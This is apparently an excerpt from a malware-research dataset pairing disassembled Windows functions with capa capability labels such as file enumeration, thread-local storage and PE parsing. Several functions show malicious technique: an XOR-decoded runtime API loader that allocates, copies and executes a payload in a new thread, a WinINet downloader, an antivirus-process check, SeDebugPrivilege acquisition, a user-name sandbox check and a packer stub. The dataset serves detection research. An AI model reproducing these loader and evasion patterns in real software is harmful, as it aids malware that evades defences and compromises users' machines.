joyce8/EMBER2024-capa huggingface dataset:
Function at 0x405380
Capabilities:
Create shortcut via ishelllink
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov eax, dword [0x41a004]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
mov ebx, dword [ebp + 8]
lea eax, [ebp - 0xc]
push esi
push edi
xor esi, esi
push eax
push esi
push esi
push 0x413250
mov dword [ebp - 0xc], esi
mov dword [ebx + 0x18], esi
call dword [sym.imp.SHELL32.dll_SHGetKnownFolderPath]
test eax, eax
js 0x4054fd
mov edx, dword [ebp - 0xc]
lea ecx, [ebx + 0x14]
push esi
call fcn.00401890
add esp, 4
test eax, eax
je 0x4054fd
push esi
mov edx, 0x4180e4
lea ecx, [ebx + 0x14]
call fcn.00401890
add esp, 4
test eax, eax
je 0x4054fd
push esi
lea eax, [ebp - 8]
mov dword [ebp - 8], esi
push eax
push dword [ebx + 8]
push dword [ebx + 0x34]
call dword [sym.imp.USER32.dll_LoadStringW]
mov eax, dword [ebp - 8]
lea ecx, [ebx + 0x14]
test eax, eax
mov edx, 0x418114
push esi
cmovne edx, eax
mov dword [ebp - 8], edx
call fcn.00401890
add esp, 4
test eax, eax
je 0x4054fd
push esi
mov edx, str..lnk
lea ecx, [ebx + 0x14]
call fcn.00401890
add esp, 4
test eax, eax
je 0x4054fd
mov eax, dword [ebp + 0xc]
mov edi, dword [ebx + 0x14]
test eax, eax
jne 0x405450
push eax
push 0x80
push 3
push eax
push 1
push eax
jmp 0x405467
cmp eax, 2
jne 0x405485
push 0
push 0x4000080
push 3
push 0
push 0
push 0x40000000
push edi
call dword [sym.imp.KERNEL32.dll_CreateFileW]
cmp eax, 0xffffffff
je 0x4054fd
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov esi, 1
jmp 0x4054fd
cmp eax, 1
jne 0x4054fd
lea eax, [ebp - 8]
push eax
push 0x413260
push 1
push 0
push 0x4132c0
call dword [sym.imp.ole32.dll_CoCreateInstance]
test eax, eax
js 0x4054fd
mov eax, dword [ebp - 8]
push dword [ebx + 0x10]
push eax
mov ecx, dword [eax]
mov eax, dword [ecx + 0x50]
call eax
test eax, eax
js 0x4054f2
mov eax, dword [ebp - 8]
lea edx, [ebp - 0x10]
push edx
push 0x413310
push eax
mov ecx, dword [eax]
mov eax, dword [ecx]
call eax
test eax, eax
js 0x4054f2
mov eax, dword [ebp - 0x10]
push 1
push edi
push eax
mov ecx, dword [eax]
mov eax, dword [ecx + 0x18]
call eax
test eax, eax
mov ecx, 1
mov eax, dword [ebp - 0x10]
cmovns esi, ecx
push eax
mov ecx, dword [eax]
mov eax, dword [ecx + 8]
call eax
mov eax, dword [ebp - 8]
push eax
mov ecx, dword [eax]
mov eax, dword [ecx + 8]
call eax
mov ecx, dword [ebp - 0xc]
test ecx, ecx
je 0x40550b
push ecx
call dword [sym.imp.ole32.dll_CoTaskMemFree]
mov ecx, dword [ebp - 4]
mov eax, esi
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0040621f
mov esp, ebp
pop ebp
ret
Function at 0x405aa0
Capabilities:
Get file size
Read file via mapping

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov eax, dword [0x41a004]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push edi
push 0
push 0x80
push 3
push 0
mov esi, edx
push 5
push 0x80000000
push ecx
mov dword [esi], 0
mov dword [esi + 4], 0
mov dword [esi + 8], 0
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov edi, eax
cmp edi, 0xffffffff
je 0x405b2a
push 0
push 0
push 0
push 2
push 0
push edi
call dword [sym.imp.KERNEL32.dll_CreateFileMappingW]
mov dword [esi], eax
test eax, eax
je 0x405b2a
push 0
push 0
push 0
push 4
push eax
call dword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov dword [esi + 4], eax
test eax, eax
je 0x405b2a
lea eax, [ebp - 8]
mov dword [ebp - 8], 0
push eax
push edi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [esi + 8], eax
cmp dword [esi + 4], 0
jne 0x405b54
push 0
call dword [sym.imp.KERNEL32.dll_UnmapViewOfFile]
push dword [esi]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [esi], 0
mov dword [esi + 4], 0
mov dword [esi + 8], 0
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [ebp - 4]
xor eax, eax
pop edi
xor ecx, ebp
pop esi
call fcn.0040621f
mov esp, ebp
pop ebp
ret

Function at 0x4060d0
Capabilities:
Enumerate files on windows
Enumerate files recursively

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x25c
mov eax, dword [0x41a004]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
mov edi, ecx
lea eax, [ebp - 0x258]
push eax
xor ebx, ebx
push dword [edi + 8]
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
mov dword [ebp - 0x25c], eax
cmp eax, 0xffffffff
jne 0x406118
xor eax, eax
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0040621f
mov esp, ebp
pop ebp
ret
mov esi, dword [edi + 0xc]
lea eax, [edi + 8]
mov ecx, dword [eax]
test esi, esi
je 0x406141
lea eax, [esi - 1]
lea eax, [ecx + eax*2]
nop word [eax + eax]
cmp word [eax], 0x5c
je 0x40613e
sub eax, 2
sub esi, 1
jne 0x406130
lea eax, [edi + 8]
xor edx, edx
mov word [ecx + esi*2], dx
cmp esi, dword [eax + 8]
ja 0x406150
mov dword [eax + 4], esi
nop
cmp word [ebp - 0x22c], 0x2e
jne 0x406179
mov ax, word [ebp - 0x22a]
test ax, ax
je 0x4061dc
cmp ax, 0x2e
jne 0x406176
cmp word [ebp - 0x228], 0
je 0x4061dc
lea eax, [edi + 8]
cmp esi, dword [edi + 0x10]
ja 0x406181
mov dword [edi + 0xc], esi
push 0x104
lea edx, [ebp - 0x22c]
mov ecx, eax
call fcn.00401890
add esp, 4
test eax, eax
je 0x4061fb
test byte [ebp - 0x258], 0x10
je 0x4061c2
push 2
mov edx, 0x418384
lea ecx, [edi + 8]
call fcn.00401890
add esp, 4
test eax, eax
je 0x4061fb
mov ecx, edi
call fcn.004060d0
jmp 0x4061d6
push dword [edi + 4]
mov eax, dword [edi]
lea ecx, [ebp - 0x258]
push ecx
push dword [edi + 8]
call eax
add esp, 0xc
mov ebx, eax
test ebx, ebx
jne 0x406200
lea eax, [ebp - 0x258]
push eax
push dword [ebp - 0x25c]
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
test eax, eax
je 0x406200
lea eax, [edi + 8]
jmp 0x406150
mov ebx, 2
push dword [ebp - 0x25c]
call dword [sym.imp.KERNEL32.dll_FindClose]
mov ecx, dword [ebp - 4]
mov eax, ebx
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0040621f
mov esp, ebp
pop ebp
ret
Function at 0x409a9b
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x409ada
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x409ada
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x409ada
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x409ada
cmp dword [ecx + 0x74], 0xe
jbe 0x409ada
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret

Function at 0x40b339
Capabilities:
Enumerate files on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x264
mov eax, dword [0x41a004]
xor eax, ebp
mov dword [ebp - 4], eax
mov edx, dword [ebp + 0xc]
mov ecx, dword [ebp + 0x10]
push ebx
push esi
push edi
mov edi, dword [ebp + 8]
mov dword [ebp - 0x25c], ecx
cmp edx, edi
je 0x40b384
movzx eax, word [edx]
lea ecx, [ebp - 0x255]
push eax
call fcn.0040b556
test al, al
jne 0x40b37e
sub edx, 2
cmp edx, edi
jne 0x40b364
mov ecx, dword [ebp - 0x25c]
movzx esi, word [edx]
cmp esi, 0x3a
jne 0x40b3a6
lea eax, [edi + 2]
cmp edx, eax
je 0x40b3a6
push ecx
xor ebx, ebx
push ebx
push ebx
push edi
call fcn.0040b285
add esp, 0x10
jmp 0x40b4a0
push esi
lea ecx, [ebp - 0x255]
call fcn.0040b556
sub edx, edi
movzx eax, al
sar edx, 1
inc edx
neg eax
sbb eax, eax
xor ebx, ebx
push ebx
push ebx
and eax, edx
push ebx
mov dword [ebp - 0x260], eax
lea eax, [ebp - 0x254]
push eax
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_FindFirstFileExW]
mov esi, eax
cmp esi, 0xffffffff
jne 0x40b3e9
push dword [ebp - 0x25c]
jmp 0x40b396
mov ebx, dword [ebp - 0x25c]
push 0x2e
mov eax, dword [ebx + 4]
sub eax, dword [ebx]
sar eax, 2
mov dword [ebp - 0x25c], eax
pop eax
cmp word [ebp - 0x228], ax
jne 0x40b426
cmp word [ebp - 0x226], 0
je 0x40b447
cmp word [ebp - 0x226], ax
jne 0x40b426
cmp word [ebp - 0x224], 0
je 0x40b447
push ebx
push dword [ebp - 0x260]
lea eax, [ebp - 0x228]
push edi
push eax
call fcn.0040b285
add esp, 0x10
mov dword [ebp - 0x264], eax
test eax, eax
jne 0x40b493
lea eax, [ebp - 0x254]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
push 0x2e
test eax, eax
pop eax
jne 0x40b400
mov eax, dword [ebx + 4]
mov edx, dword [ebx]
sub eax, edx
mov ecx, dword [ebp - 0x25c]
sar eax, 2
cmp ecx, eax
jne 0x40b47b
push esi
call dword [sym.imp.KERNEL32.dll_FindClose]
xor eax, eax
jmp 0x40b4a0
push 0x40b0b5
sub eax, ecx
push 4
push eax
lea eax, [edx + ecx*4]
push eax
call fcn.0040e100
add esp, 0x10
jmp 0x40b470
push esi
call dword [sym.imp.KERNEL32.dll_FindClose]
mov eax, dword [ebp - 0x264]
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0040621f
leave
ret

Function at 0x40cfd4
Capabilities:
Allocate thread local storage

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x41515c
push 0x415154
push str.FlsAlloc
push 0x1f
call fcn.0040cf0e
mov esi, eax
add esp, 0x10
test esi, esi
je 0x40d008
push dword [ebp + 8]
mov ecx, esi
call dword [0x413200]
call esi
jmp 0x40d00e
call dword [sym.imp.KERNEL32.dll_TlsAlloc]
pop esi
pop ebp
ret 4
Function at 0x40d052
Capabilities:
Get thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x41516c
push 0x415164
push str.FlsGetValue
push 0x21
call fcn.0040cf0e
mov esi, eax
add esp, 0x10
test esi, esi
je 0x40d089
push dword [ebp + 8]
mov ecx, esi
call dword [0x413200]
call esi
pop esi
pop ebp
ret 4
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsGetValue]

Function at 0x40d091
Capabilities:
Set thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x415174
push 0x41516c
push str.FlsSetValue
push 0x22
call fcn.0040cf0e
mov esi, eax
add esp, 0x10
test esi, esi
je 0x40d0cb
push dword [ebp + 0xc]
mov ecx, esi
push dword [ebp + 8]
call dword [0x413200]
call esi
pop esi
pop ebp
ret 8
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsSetValue]
Function at 0x430002
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
call 0x43000c
pop eax
nop
nop
nop
nop
nop
nop
add eax, 0x403d6a
sub eax, 0x403d10
nop
nop
nop
nop
nop
mov ebx, dword [eax]
nop
nop
nop
mov ecx, dword [eax + 4]
nop
nop
mov edx, dword [eax + 8]
nop
nop
nop
xor dword [ebx], edx
nop
nop
nop
nop
nop
add ebx, 4
nop
nop
nop
nop
cmp ebx, ecx
nop
nop
nop
jl 0x430030
nop
nop
nop
nop
add eax, 0xc
nop
nop
nop
cmp dword [eax], 0
nop
nop
nop
nop
jne 0x43001e
nop
nop
nop
nop
popal
nop
jmp fcn.00401219
Function at 0x1000124b
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
cmp dword [ebp + 0xc], 0
xorps xmm0, xmm0
push ebx
mov ebx, ecx
movlpd qword [ebp - 8], xmm0
jb 0x1000129b
ja 0x10001269
cmp dword [ebp + 8], 0
jbe 0x1000129b
push esi
mov esi, dword [ebp - 8]
push edi
mov edi, dword [ebp - 4]
mov eax, dword [ebp + 0x10]
mov ecx, esi
mov edx, dword [ebp + 0x14]
and ecx, 7
shl ecx, 3
call fcn.10038fb0
xor byte [esi + ebx], al
add esi, 1
adc edi, 0
cmp edi, dword [ebp + 0xc]
jb 0x10001271
ja 0x10001299
cmp esi, dword [ebp + 8]
jb 0x10001271
pop edi
pop esi
pop ebx
leave
ret

Function at 0x100015ed
Capabilities:
Create http request
Read data from internet
Receive data

Disassembly:
push 0x430
mov eax, 0x1003ae74
call fcn.1003add0
mov edi, dword [ebp + 8]
xor esi, esi
mov dword [ebp - 0x430], edi
mov dword [ebp - 0x418], esi
push 0x400
xor ebx, ebx
lea eax, [ebp - 0x410]
push esi
inc ebx
push eax
mov dword [ebp - 4], ebx
call fcn.10006420
mov byte [ebp - 4], 2
push 8
mov dword [edi], esi
mov dword [edi + 4], esi
mov dword [edi + 8], esi
mov dword [edi + 0xc], esi
call fcn.100039b0
add esp, 0x10
mov byte [ebp - 4], bl
mov dword [eax + 4], esi
mov dword [edi], eax
mov dword [eax], edi
push esi
push esi
push esi
push esi
push 0x1004b8d0
mov dword [ebp - 0x418], ebx
call dword [sym.imp.WININET.dll_InternetOpenA]
mov ebx, eax
mov dword [ebp - 0x420], ebx
cmp ebx, 0xffffffff
je 0x10001733
cmp dword [ebp + 0x24], 0x10
lea ecx, [ebp + 0x10]
push esi
cmovae ecx, dword [ebp + 0x10]
push 0x4000000
push esi
push esi
push ecx
push ebx
call dword [sym.imp.WININET.dll_InternetOpenUrlA]
test eax, eax
je 0x1000172c
mov ebx, eax
lea eax, [ebp - 0x41c]
push eax
push 0x400
lea eax, [ebp - 0x410]
push eax
push ebx
call dword [sym.imp.WININET.dll_InternetReadFile]
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x410]
push eax
push edi
push dword [edi + 8]
lea ecx, [ebp - 0x42c]
call fcn.10001760
sub esp, 0xc
mov byte [ebp - 4], 3
mov esi, esp
lea eax, [ebp - 0x42c]
mov ecx, esi
push eax
call fcn.100014ab
mov eax, dword [ebp - 0x424]
mov ecx, edi
mov dword [esi + 8], eax
lea eax, [ebp - 0x43c]
push eax
call fcn.100017bc
lea ecx, [ebp - 0x43c]
call fcn.100014ef
lea ecx, [ebp - 0x42c]
mov byte [ebp - 4], 1
call fcn.100014ef
cmp dword [ebp - 0x41c], 0x400
je 0x10001693
push ebx
call dword [sym.imp.WININET.dll_InternetCloseHandle]
mov ebx, dword [ebp - 0x420]
push ebx
call dword [sym.imp.WININET.dll_InternetCloseHandle]
lea ecx, [ebp + 0xc]
call fcn.1000129e
mov eax, edi
call fcn.1003ad80
ret 0x20
Function at 0x10001abb
Capabilities:
Link many functions at runtime

Disassembly:
push 0x14
mov eax, 0x1003aeff
call fcn.1003ad90
xor ebx, ebx
mov dword [ebp - 4], ebx
call fcn.10001c8b
mov esi, eax
cmp byte [esi + 0xd], bl
je 0x10001af2
push 0xd76bd737
push 0xd54d5575
push ebx
push 0xd
mov ecx, esi
call fcn.1000124b
add esp, 0x10
mov byte [esi + 0xd], bl
mov edi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push esi
call edi
mov ebx, eax
call fcn.10001d36
mov esi, eax
cmp byte [esi + 0xa], 0
je 0x10001b26
push 0xe9b5b3b1
push 0xc77d4573
push 0
push 0xa
mov ecx, esi
call fcn.1000124b
add esp, 0x10
mov byte [esi + 0xa], 0
push esi
call edi
mov dword [ebp - 0x10], eax
call fcn.10001ddc
mov esi, eax
cmp byte [esi + 0xd], 0
je 0x10001b55
push 0x47abcda5
push 0x93a3c787
push 0
push 0xd
mov ecx, esi
call fcn.1000124b
add esp, 0x10
mov byte [esi + 0xd], 0
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push esi
push ebx
call edi
mov dword [ebp - 0x14], eax
call fcn.10001e87
mov esi, eax
cmp byte [esi + 0xe], 0
je 0x10001b8b
push 0x91219b1f
push 0xf7f5f1d5
push 0
push 0xe
mov ecx, esi
call fcn.1000124b
add esp, 0x10
mov byte [esi + 0xe], 0
push esi
push dword [ebp - 0x10]
call edi
mov dword [ebp - 0x10], eax
call fcn.10001f34
mov esi, eax
cmp byte [esi + 0xf], 0
je 0x10001bbd
push 0x65617345
push 0x2549d30d
push 0
push 0xf
mov ecx, esi
call fcn.1000124b
add esp, 0x10
mov byte [esi + 0xf], 0
push esi
push ebx
call edi
mov dword [ebp - 0x1c], eax
call fcn.10001fe8
mov esi, eax
cmp byte [esi + 0xd], 0
je 0x10001bed
push 0xefc7bf81
push 0xa1d573c5
push 0
push 0xd
mov ecx, esi
call fcn.1000124b
add esp, 0x10
mov byte [esi + 0xd], 0
push esi
push ebx
call edi
mov dword [ebp - 0x20], eax
call fcn.10002093
mov esi, eax
cmp byte [esi + 0x14], 0
je 0x10001c1d
push 0x89f52b39
push 0x45a9b135
push 0
push 0x14
mov ecx, esi
call fcn.1000124b
add esp, 0x10
mov byte [esi + 0x14], 0
push esi
push ebx
call edi
mov ecx, dword [ebp + 0x10]
xor ebx, ebx
sub ecx, dword [ebp + 0xc]
mov edi, eax
push 4
push 0x3000
push ecx
push ebx
mov dword [ebp - 0x18], ebx
call dword [ebp - 0x14]
mov ecx, dword [ebp + 0x10]
mov esi, eax
sub ecx, dword [ebp + 0xc]
push ecx
push dword [ebp + 0xc]
push esi
call dword [ebp - 0x10]
mov ecx, dword [ebp + 0x10]
lea eax, [ebp - 0x18]
sub ecx, dword [ebp + 0xc]
push eax
push 0x20
push ecx
push esi
call dword [ebp - 0x1c]
test eax, eax
je 0x10001c6d
push ebx
push ebx
push ebx
push esi
push ebx
push ebx
call dword [ebp - 0x20]
push 0xffffffffffffffff
push eax
call edi
lea ecx, [ebp + 8]
call fcn.10001796
mov ecx, dword [ebp + 8]
push 8
pop edx
mov dword [ebp + 8], ebx
call fcn.1000140d
call fcn.1003ad60
ret 0x10
Function at 0x10002399
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x230
mov eax, dword [0x10058010]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push 0
push 2
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov esi, eax
cmp esi, 0xffffffff
je 0x1000244a
lea eax, [ebp - 0x230]
mov dword [ebp - 0x230], 0x22c
push eax
push esi
call dword [sym.imp.KERNEL32.dll_Process32FirstW]
jmp 0x10002401
lea eax, [ebp - 0x20c]
push str.360tray.exe
push eax
call fcn.1000aad0
pop ecx
pop ecx
test eax, eax
je 0x1000243e
lea eax, [ebp - 0x230]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x100023dc
lea eax, [ebp - 0x230]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_Process32FirstW]
lea eax, [ebp - 0x20c]
push str.explorer.exe
push eax
call fcn.1000aad0
pop ecx
pop ecx
test eax, eax
je 0x10002445
lea eax, [ebp - 0x230]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x10002413
jmp 0x1000244a
call fcn.10002371
jmp 0x1000244a
call fcn.10002385
mov ecx, dword [ebp - 4]
xor eax, eax
xor ecx, ebp
pop esi
call fcn.100036c0
leave
ret

Function at 0x10002459
Capabilities:
Acquire debug privileges

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x10058010]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
lea eax, [ebp - 0x18]
push eax
push 0x28
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
jne 0x10002485
xor al, al
jmp 0x100024d8
lea eax, [ebp - 0x20]
xor esi, esi
push eax
push str.SeDebugPrivilege
push esi
call dword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueW]
test eax, eax
jne 0x100024a6
push dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x10002481
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
push esi
push esi
push 0x10
mov dword [ebp - 0x10], eax
lea eax, [ebp - 0x14]
push eax
push esi
push dword [ebp - 0x18]
mov dword [ebp - 0x14], 1
mov dword [ebp - 0xc], ecx
mov dword [ebp - 8], 2
call dword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
test eax, eax
je 0x1000249b
mov al, 1
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop esi
call fcn.100036c0
leave
ret
Function at 0x100031bf
Capabilities:
Get session user name
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10c
mov eax, dword [0x10058010]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
lea eax, [ebp - 0x10c]
mov dword [ebp - 0x10c], 0x101
push eax
lea eax, [ebp - 0x108]
push eax
call dword [sym.imp.ADVAPI32.dll_GetUserNameA]
call fcn.10003244
mov esi, eax
cmp byte [esi + 8], 0
je 0x1000321a
push 0x89f52b39
push 0x45a9b135
push 0
push 8
mov ecx, esi
call fcn.1000124b
add esp, 0x10
mov byte [esi + 8], 0
lea eax, [ebp - 0x108]
cmp eax, esi
pop esi
jne 0x10003238
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.100036c0
leave
ret

Function at 0x10008900
Capabilities:
Get thread local storage value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
call fcn.10008520
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
je 0x10008932
mov eax, dword [ebp - 4]
mov dword [ebp - 0xc], eax
mov ecx, dword [ebp + 8]
push ecx
mov edx, dword [ebp - 0xc]
mov dword [ebp - 8], edx
mov ecx, dword [ebp - 8]
call dword [0x1003c1b4]
call dword [ebp - 8]
jmp 0x1000893c
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_TlsGetValue]
mov esp, ebp
pop ebp
ret
Function at 0x10020390
Capabilities:
Allocate thread local storage

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0xc
call fcn.1001fc90
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
je 0x100203c4
mov eax, dword [ebp - 4]
mov dword [ebp - 0xc], eax
mov ecx, dword [ebp + 8]
push ecx
mov edx, dword [ebp - 0xc]
mov dword [ebp - 8], edx
mov ecx, dword [ebp - 8]
call dword [0x1003c1b4]
call dword [ebp - 8]
jmp 0x100203ca
call dword [sym.imp.KERNEL32.dll_TlsAlloc]
mov esp, ebp
pop ebp
ret 4

Function at 0x10020420
Capabilities:
Get thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0xc
call fcn.1001fcd0
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
je 0x10020454
mov eax, dword [ebp - 4]
mov dword [ebp - 0xc], eax
mov ecx, dword [ebp + 8]
push ecx
mov edx, dword [ebp - 0xc]
mov dword [ebp - 8], edx
mov ecx, dword [ebp - 8]
call dword [0x1003c1b4]
call dword [ebp - 8]
jmp 0x1002045e
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_TlsGetValue]
mov esp, ebp
pop ebp
ret 4

Function at 0x10020470
Capabilities:
Set thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0xc
call fcn.1001fcf0
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
je 0x100204a8
mov eax, dword [ebp - 4]
mov dword [ebp - 0xc], eax
mov ecx, dword [ebp + 0xc]
push ecx
mov edx, dword [ebp + 8]
push edx
mov eax, dword [ebp - 0xc]
mov dword [ebp - 8], eax
mov ecx, dword [ebp - 8]
call dword [0x1003c1b4]
call dword [ebp - 8]
jmp 0x100204b6
mov ecx, dword [ebp + 0xc]
push ecx
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.KERNEL32.dll_TlsSetValue]
mov esp, ebp
pop ebp
ret 8
Function at 0x10026a30
Capabilities:
Query environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x38
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
push eax
lea ecx, [ebp - 4]
call fcn.1000a540
lea ecx, [ebp - 4]
call fcn.10026a00
movzx eax, al
test eax, eax
jne 0x10026a6d
mov dword [ebp - 0x18], 0
lea ecx, [ebp - 4]
call fcn.10026940
mov eax, dword [ebp - 0x18]
jmp 0x10026b95
lea ecx, [ebp - 4]
call fcn.1000a170
mov dword [ebp - 0x10], eax
mov ecx, dword [ebp - 0x10]
push ecx
call fcn.100269c0
add esp, 4
mov dword [ebp - 0x1c], eax
mov edx, dword [ebp - 0x1c]
sub edx, dword [ebp - 0x10]
sar edx, 1
mov dword [ebp - 0x14], edx
push 0
push 0
push 0
push 0
mov eax, dword [ebp - 0x14]
push eax
lea ecx, [ebp - 4]
call fcn.1000a170
push eax
push 0
push 0
call fcn.10026880
add esp, 0x20
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
jne 0x10026ad3
mov dword [ebp - 0x20], 0
lea ecx, [ebp - 4]
call fcn.10026940
mov eax, dword [ebp - 0x20]
jmp 0x10026b95
push 0x66
push str.minkernelcrtsucrt_srcdesktopcrtenvget_environment_from_os.cpp
push 2
mov ecx, dword [ebp - 0xc]
push ecx
call fcn.1001b180
add esp, 0x10
push eax
lea ecx, [ebp - 8]
call fcn.10005b30
lea ecx, [ebp - 8]
call fcn.10005b70
movzx edx, al
test edx, edx
jne 0x10026b1c
mov dword [ebp - 0x24], 0
lea ecx, [ebp - 8]
call fcn.100065a0
lea ecx, [ebp - 4]
call fcn.10026940
mov eax, dword [ebp - 0x24]
jmp 0x10026b95
lea ecx, [ebp - 8]
call fcn.10005bc0
mov dword [ebp - 0x28], eax
lea ecx, [ebp - 4]
call fcn.1000a170
mov dword [ebp - 0x2c], eax
push 0
push 0
mov eax, dword [ebp - 0xc]
push eax
mov ecx, dword [ebp - 0x28]
push ecx
mov edx, dword [ebp - 0x14]
push edx
mov eax, dword [ebp - 0x2c]
push eax
push 0
push 0
call fcn.10026880
add esp, 0x20
mov dword [ebp - 0x30], eax
cmp dword [ebp - 0x30], 0
jne 0x10026b77
mov dword [ebp - 0x34], 0
lea ecx, [ebp - 8]
call fcn.100065a0
lea ecx, [ebp - 4]
call fcn.10026940
mov eax, dword [ebp - 0x34]
jmp 0x10026b95
lea ecx, [ebp - 8]
call fcn.1000a580
mov dword [ebp - 0x38], eax
lea ecx, [ebp - 8]
call fcn.100065a0
lea ecx, [ebp - 4]
call fcn.10026940
mov eax, dword [ebp - 0x38]
mov esp, ebp
pop ebp
ret